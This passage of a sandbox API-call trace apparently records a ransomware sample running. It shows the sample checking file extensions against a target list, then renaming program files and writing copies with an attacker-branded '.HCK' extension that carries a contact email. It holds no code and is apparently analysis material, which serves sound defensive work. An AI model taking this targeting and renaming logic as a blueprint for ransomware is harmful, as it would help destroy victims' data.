(lpString1=".1cd", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".jpg") returned 4 [0225.100] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0225.100] lstrcmpiW (lpString1=".sys", lpString2=".HCK") returned 1 [0225.100] lstrlenW (lpString="pagefile.sys") returned 12 [0225.100] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".doc") returned 4 [0225.101] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString=".docx") returned 5 [0225.101] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0225.101] lstrlenW (lpString=".pdf") returned 4 [0225.101] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString=".xls") returned 4 [0225.101] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0225.101] lstrlenW (lpString=".xlsx") returned 5 [0225.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0225.101] lstrlenW (lpString=".ppt") returned 4 [0225.101] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".zip") returned 4 [0225.101] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0225.101] lstrlenW (lpString=".rar") returned 4 [0225.101] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString=".bz2") returned 4 [0225.101] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString=".7z") returned 3 [0225.101] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".dbf") returned 4 [0225.101] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".1cd") returned 4 [0225.101] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".jpg") returned 4 [0225.101] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".doc") returned 4 [0225.101] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString=".docx") returned 5 [0225.101] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0225.101] lstrlenW (lpString=".pdf") returned 4 [0225.101] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString=".xls") returned 4 [0225.101] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0225.101] lstrlenW (lpString=".xlsx") returned 5 [0225.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0225.101] lstrlenW (lpString=".ppt") returned 4 [0225.101] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0225.101] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.101] lstrlenW (lpString=".zip") returned 4 [0225.102] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0225.102] lstrlenW (lpString=".rar") returned 4 [0225.102] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0225.102] lstrlenW (lpString=".bz2") returned 4 [0225.102] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0225.102] lstrlenW (lpString=".7z") returned 3 [0225.102] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0225.102] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.102] lstrlenW (lpString=".dbf") returned 4 [0225.102] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0225.102] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.102] lstrlenW (lpString=".1cd") returned 4 [0225.102] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0225.102] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0225.102] lstrlenW (lpString=".jpg") returned 4 [0225.102] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0225.102] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0225.102] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0225.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.103] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=80384) returned 1 [0225.103] CloseHandle (hObject=0x438) returned 1 [0225.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe")) returned 0x20 [0225.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\absolutetelnet.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\absolutetelnet.exe" (normalized: "c:\\program files\\common files\\absolutetelnet.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.103] lstrlenW (lpString=".doc") returned 4 [0225.103] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.103] lstrlenW (lpString=".docx") returned 5 [0225.104] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0225.104] lstrlenW (lpString=".pdf") returned 4 [0225.104] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString=".xls") returned 4 [0225.104] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString=".xlsx") returned 5 [0225.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0225.104] lstrlenW (lpString=".ppt") returned 4 [0225.104] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString=".zip") returned 4 [0225.104] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString=".rar") returned 4 [0225.104] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString=".bz2") returned 4 [0225.104] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.104] lstrlenW (lpString=".7z") returned 3 [0225.104] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString=".dbf") returned 4 [0225.104] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString=".1cd") returned 4 [0225.104] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString=".jpg") returned 4 [0225.104] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString=".doc") returned 4 [0225.104] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.104] lstrlenW (lpString=".docx") returned 5 [0225.104] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0225.104] lstrlenW (lpString=".pdf") returned 4 [0225.104] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString=".xls") returned 4 [0225.104] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString=".xlsx") returned 5 [0225.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0225.104] lstrlenW (lpString=".ppt") returned 4 [0225.104] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.104] lstrlenW (lpString=".zip") returned 4 [0225.104] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.105] lstrlenW (lpString=".rar") returned 4 [0225.105] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.105] lstrlenW (lpString=".bz2") returned 4 [0225.105] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.105] lstrlenW (lpString=".7z") returned 3 [0225.105] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.105] lstrlenW (lpString=".dbf") returned 4 [0225.105] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.105] lstrlenW (lpString=".1cd") returned 4 [0225.105] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\absolutetelnet.exe") returned 48 [0225.105] lstrlenW (lpString=".jpg") returned 4 [0225.105] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.105] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0225.105] lstrlenW (lpString="filezilla.exe") returned 13 [0225.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.106] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=80384) returned 1 [0225.106] CloseHandle (hObject=0x438) returned 1 [0225.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe")) returned 0x20 [0225.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\filezilla.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\filezilla.exe" (normalized: "c:\\program files\\common files\\filezilla.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.106] lstrlenW (lpString=".doc") returned 4 [0225.106] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.106] lstrlenW (lpString=".docx") returned 5 [0225.106] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0225.106] lstrlenW (lpString=".pdf") returned 4 [0225.106] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.106] lstrlenW (lpString=".xls") returned 4 [0225.106] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.106] lstrlenW (lpString=".xlsx") returned 5 [0225.106] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0225.106] lstrlenW (lpString=".ppt") returned 4 [0225.106] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".zip") returned 4 [0225.107] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString=".rar") returned 4 [0225.107] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString=".bz2") returned 4 [0225.107] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString=".7z") returned 3 [0225.107] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".dbf") returned 4 [0225.107] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".1cd") returned 4 [0225.107] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".jpg") returned 4 [0225.107] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".doc") returned 4 [0225.107] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString=".docx") returned 5 [0225.107] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0225.107] lstrlenW (lpString=".pdf") returned 4 [0225.107] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString=".xls") returned 4 [0225.107] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString=".xlsx") returned 5 [0225.107] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0225.107] lstrlenW (lpString=".ppt") returned 4 [0225.107] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".zip") returned 4 [0225.107] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString=".rar") returned 4 [0225.107] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.107] lstrlenW (lpString=".bz2") returned 4 [0225.107] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString=".7z") returned 3 [0225.107] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".dbf") returned 4 [0225.107] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".1cd") returned 4 [0225.107] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\filezilla.exe") returned 43 [0225.107] lstrlenW (lpString=".jpg") returned 4 [0225.107] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.108] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.108] lstrlenW (lpString="C2R64.dll") returned 9 [0225.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.108] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1208928) returned 1 [0225.108] CloseHandle (hObject=0x438) returned 1 [0225.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0225.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0x20 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString=".doc") returned 4 [0225.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".docx") returned 5 [0225.109] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0225.109] lstrlenW (lpString=".pdf") returned 4 [0225.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".xls") returned 4 [0225.109] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".xlsx") returned 5 [0225.109] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0225.109] lstrlenW (lpString=".ppt") returned 4 [0225.109] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString=".zip") returned 4 [0225.109] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".rar") returned 4 [0225.109] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".bz2") returned 4 [0225.109] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.109] lstrlenW (lpString=".7z") returned 3 [0225.109] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString=".dbf") returned 4 [0225.109] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString=".1cd") returned 4 [0225.109] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString=".jpg") returned 4 [0225.109] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.109] lstrlenW (lpString=".doc") returned 4 [0225.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".docx") returned 5 [0225.109] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0225.109] lstrlenW (lpString=".pdf") returned 4 [0225.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".xls") returned 4 [0225.109] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.109] lstrlenW (lpString=".xlsx") returned 5 [0225.109] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0225.110] lstrlenW (lpString=".ppt") returned 4 [0225.110] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.110] lstrlenW (lpString=".zip") returned 4 [0225.110] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.110] lstrlenW (lpString=".rar") returned 4 [0225.110] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.110] lstrlenW (lpString=".bz2") returned 4 [0225.110] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.110] lstrlenW (lpString=".7z") returned 3 [0225.110] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.110] lstrlenW (lpString=".dbf") returned 4 [0225.110] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.110] lstrlenW (lpString=".1cd") returned 4 [0225.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0225.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0225.110] lstrlenW (lpString=".jpg") returned 4 [0225.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0225.110] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0225.110] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0225.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.111] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1093248) returned 1 [0225.111] CloseHandle (hObject=0x438) returned 1 [0225.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0225.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0x20 [0225.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0225.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0225.111] lstrlenW (lpString=".doc") returned 4 [0225.111] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.111] lstrlenW (lpString=".docx") returned 5 [0225.111] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0225.111] lstrlenW (lpString=".pdf") returned 4 [0225.111] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.111] lstrlenW (lpString=".xls") returned 4 [0225.111] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.111] lstrlenW (lpString=".xlsx") returned 5 [0225.111] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0225.111] lstrlenW (lpString=".ppt") returned 4 [0225.111] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0225.111] lstrlenW (lpString=".zip") returned 4 [0225.111] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.111] lstrlenW (lpString=".rar") returned 4 [0225.111] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.111] lstrlenW (lpString=".bz2") returned 4 [0225.111] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.111] lstrlenW (lpString=".7z") returned 3 [0225.111] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0225.441] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.441] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0225.442] GetLastError () returned 0x0 [0225.442] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: 